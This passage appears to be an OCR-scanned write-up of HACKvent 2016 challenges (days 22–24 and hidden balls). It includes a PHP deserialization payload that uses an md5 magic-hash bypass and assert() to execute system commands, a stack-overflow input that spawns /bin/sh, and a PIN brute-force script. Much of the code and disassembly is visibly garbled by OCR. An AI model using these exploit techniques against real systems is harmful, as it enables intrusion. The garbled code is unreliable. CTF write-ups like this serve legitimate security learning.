“106a6c241b8797f52e1e77317b96a201” and the md5-hash from “home” is
“106a6c241b8797f52e1e77317b96a201”. As you see, there are equal. So | dumped the following

site:

106a6c241b8797f52e1e77317b96a201 (home)

<?php

echo 'Welcome, '.$ SESSION['k'].'
<br />

<br />

Happy to have you as my customer!
<br />

<br />

Your #1 crazy stuff seller

<br />

Pengu';

2>
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86024cad1e83101d97359d7351051156 (products)

<?php
echo '<pre>';

echo "
SELLING MUFFIN FOR 1337 $

'_\H\\H\\H\\H_.
/_vvv‘_v‘_v‘\

SELLING SHARK FOR 1\'000\'000 $

foc \ r N/

\ o N /I NN/ /
\ \/ | N/
vvvv\ \ /o
\AAAN == \ / \
N\ === A
/ /N N/ \
|/ N\ /
\ /
</pre>';
?>

So that was the two visible sites. Normally the main page is called index. So | tried to dump
62992d5529f459a44fee58c733255e86 (index):

<?php
session_start();
if (isset($ GET['1'])) { session_destroy(); header('location: 790 g B

$mysql conn = new mysqli('127.0.0.1', 'mysgl', '', 'pengus site');
if ($mysgl conn->connect error) die("[-] Connection failed: "
$mysgl conn->connect error);

if (isset($ POST['k'])) |

$secret keys query result = $mysgl conn->query ("SELECT secret key FROM
secret keys WHERE secret key='".$ POST['k']."'");

if (Ssecret keys query result->num rows > 0) $ SESSION['k'] =
$secret keys query result->fetch assoc() ['secret key'];

}

echo '<html>
<head><title>Pengus Site</title></head>
<body>
<center>
<h2>- Pengus Shop -</h2>
<a href="/">
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<img style="border-radius:5%; width:400px;"

src="data:image/gif;base64, [data]l>

</a>

<br /><br />

** Merry X-Mas **
<br /><br />';

if (isset($_SESSION['k'])) {

# <a href="?p=">Admin</a>&nbsp;

echo '
<a href="?p=106a6c241b8797£52ele77317b96a201">Home</a>&nbsp;
<a href="?p=86024cadle83101d97359d7351051156">Products</a>&nbsp;
<a href="?1">Logout</a>
<br /><br />';

include ( (isset($ GET['p']) ? $ GET['p']
'106a6c241b8797£f52ele77317b96a201") . "' .php'") ;
}
else {
echo '
<form action="" method="POST">

Your secret key: <input style="background-color:white; border-
style:solid; border-color:black; border-width:1lpx;

width:400px;" name="k" type="text" value="" />
<input style="background-color:white; border-style:solid; border-
color:black; border-width:1lpx; border-radius:3px;" type="submit"
value="Login" />

}

</form>";

echo '

</center>
</body>

</html>";

?>

The comment with the Admin site looks interesting. Let’s try to dump the site
21232f297a57a5a743894a0e4a801fc3 (admin):

<?php

error_reporting(0);
class AdminPackage {

public Spassword;
public $leetness;

function check leetness () {
if (md5 (Sthis->password) == '0el337') echo '<pre> [+] Is it 133772
. (assert('1337 == '.S$this->leetness) ? 'Yes!' : 'Nope!').'</pre>';

}

function __ construct($password, $leetness) {
S$this->password = $password; S$this->leetness = S$leetness;

}
}

if (isset($ GET['a']l)) |
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$admin package = unserialize (base64_decode($ GET['a']));
$admin package->check leetness();

}
?>

OK, we are able to do remote code execution, because assert is like eval. We need to bypass the
password, but this is fairly if you know, that the type of the if parameter isn’t checked. The problem
is also explained here: https://www.whitehatsec.com/blog/magic-hashes/. If we create the serialize
class with the following values, we are able to get the flag:

$a = new AdminPackage ("240610708", "system('cat
. ./home/pengu/7b66a8flbelf9cff0al%9aaf28d0e0396");");
echo base64_encode (serialize($Sa));

- Pengus Shop -

** Merry X-Mas **
Home Products Logout

-1337-._ . /\|O_O|/\/\NOOTNOOT."/\"./_|PENGU |_\(/||'\D\/_\ >-<_/__ ~/\;~ - HAX - Loved your good feedback on the HL chat and on twitter. If you liked this
challenge, tweet me: https:/twitter.com/muffiniks Here's again a gift for you: HV16-p3ng-ugOt-pwn3-dr0x-x0rz Greetz, MuffinX <3

[+] Is it 13372 -> Nope!

So the flag for the day 22 is HV16-p3ng-ug0t-pwn3-drOx-x0rz
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Day 23: From another time
and still alive!

Task
This was once state of the art ... and it's still alive.

[file: SANTACLS.PRG]

Solution
We got an old C64-Program, called SANTACLS.PRG. So you only need a C64 Simulator and start the
program. | used WinVICE for that:

€k VICE: C64 emulator at 101% speed, 51 fps - O X

File Edit Snapshot Settings Language Help

I-HOHO-HOHO-HOHO-HOHO
.-+ NOT THE RIGHT FLaG

MEAN OLD SANTA CLAUS

Attached autostart-C64.d64 to device®8 Tape: 000 &17.0 I m»
Joystick: *i= =i=

VICE also had a really useful function called snapshot:

c( VICE: CB4 ernulator at 100% speed, 50 fps

File Edit Snapshot Settings Language Help
Load snapshot image...

Save snapshot image...

Load quicksnapshot image Alt+L
Save quicksnapshot image Alt+5

After opening the snapshot file with Notepad++ and searching for HV16, | got really quickly the flag:
HV16-siZy-UzxY-u7qV-nr3D-FSk4
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Day 24: M3MORY

m3rry hdxm4s

Task
nc challenges.hackvent.hacking-lab.com 3301

[file: m3mOry]

Solution
This time we have a pwning challenge:

<< M3MORY >>

- by MuffinX -

“Searching means having a goal, but finding means being free, being open, having no goal ...
because in striving for your goal there are many things you do not see, which are directly in front of your eyes.”
— Hermann Hesse, Siddhartha

Welcome to the gift machine!
Give me some 4D hex vectors, so I can create your gifts.

If I have a to large input, | get a segfault. | also noticed that the segfault is caused by a stack based
buffer overflow. It is something like in this tutorial: 64-bit Linux stack smashing tutorial: Part 1 —
Techorganic — Musings from the brainpan. Another interesting part is that the program at
0x00000000004006E6 have a “/bin/sh” system-call.

text tBBBEBBBRBASBBBES ; ————— ===~

-text:0000AAOANBLBAGES sub rsp, 18h
.text:0000AABOANBLAAGEA lea rdi, aBinSh ; “/bin/sh™
.text:00000000004806F1 call _system
.text:00000000004806F 6 mov [¥sp+BCh], eaz
.text:0000008000040806FA add rsp, 18h
.text:00000000004806FE retn

-text:00000000004006FF

The crash of the application also happened at the very end of the application. So we need to
manipulate the Stack, so that the return jumps to the address 0x00000000004006E6:

- LE AL o RFEFRRRARRRN B RFRRRRSE b ML 54 nuy EdA, W
.text:0000000000400CLA call ____printf_chk
Jtext:AB0AAABAAALABCLHF mou edi, @ ; status
-text:-0000000000400C54, call _exit

AEeREZ0B0000B0BOBOBEED § o oo
.text:00ADAROOOA4OBCSY

- text: 000000000084 80C59 loc ABBC59: ; CODE XREF: main+29Ftj
.text:00000000004A0BCH0 pop rbx
.text:00000868000840AC61 pop rbp
.text:00000060060480C62 pop 12
text: 00000000084 A0COYL retn
-text:00000AAAAALAACHL main endp

tovhkF-AAOAOAOAAAMNAGATAN

With the input of
“1111111221122211222112221121221121221122211122111221112211212211122111221112121111121
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11112121212221111111112221211111111100f6064000000000” we are able to manipulate the stack, so
that we directly jump into the “/bin/sh” system-call.

Welcome to the gift machine!

Give me some 4D hex vectors, so I can create your gifts.
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100f60640000
00000

# echo "pwned"
pwned
|

So locally it works, now we should try it online:
And it works also, the flag is in /home/m3mO0ry/sorry_qq
cat /home/m3mOry/sorry qq

That elve was too late!
Sorry.

Wanted to implement all protections + magic squares stuff...

# like.a.noob...
# gcc -D FORTIFY SOURCE=2 -01 -s -Wl,-z,relro,-z,now -fPIC -o m3mOry m3mOry.c

Greets MuffinX

HV16-M3mO-Ryyy-cOrr-upt3-dpwn

And the flag is HV16-M3mO0-Ryyy-corr-upt3-dpwn
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Hidden Ball 01

Task

Just wondering why #Thumper (@HackyEaster) isn't playing #HACKvent. Did you see him? Follow the
rabbit !

Solution

@ Hacky Easter 2 Folgen

Crafty Thumper has stolen an xmas ball! =

. s Dnom@RBAB

And the hidden ball is HV16-hSCk-DTwW-wnKr-yTVj-bOay
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Hidden Ball 02

Task
The ball is hidden in the Challenge of day 11.

The hint is:
Day 11 - 2016-12-12 09:00 CET
In doubt, let the last two parts of your first find lead you deeper into the maze.

Solution

The last part of the flag on day 11 is TMTOWTDI. That is the perl-motto. So just execute the gif with
perl:

:~/Desktop/hackvent2016/ DONE# perl MandM.gif

What?!1?1? It is a polyglot. It is a GIF, but also a perl script. Let’s try to decompile it with “perl —d:Trace
MandM.gif”. We got some understandable output like:

>> (eval 2) [MandM.gif:2]:1: print "PIN?\n>
";srand(int (<>)) ;print (pack ("C*" ,map{

($_+int(rand(0xFF))) &0xFF}unpack("C*","@d! QQOQPOQLOLIQ | QOO °QOLIOF
h@cil, e@oQONO")) ."\n");

So it take an integer as input and use it as seed for srand. | wrote a bash-script, to bruteforce the pin:
#!/bin/bash

for i in “seg 1 1000000°
do
#printf "$04d\n" $i
LIST=$ (echo $i | perl MandM.gif)
SOURCE="HV16"
if echo "SLIST" | grep -gq "S$SSOURCE" ; then
echo S$LIST
echo $i
break
#else
#NOTHING=""
fi
done

echo "NOPE - Try Harder"

If we get the flag, the script should stop. It took several hours, but | don’t care. | have time:

PIN? > xmar ain't easter ;) HV16-FWtf-Sh90-cApF-Q9HQ-qMrp

160417

And we have the hidden flag 02 HV16-FWtf-Sh90-cApF-Q9HQ-qMrp
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Hidden Ball 03

Task
?7?7?

Solution
??? | think, this challenge wasn’t released, but in the source code was some hints, that there are a

third hidden challenge. In the hackvent.js you found this part at the top:

WhESA 244 AUl etieiFAvia ASALlA R FR LTI

var HIGH SCORE MAX LINES = 10000;
wvar HFLAG = 3;
wvar servicelUrl = '"http:// /hackvent.hac

But nobody solved it. ©
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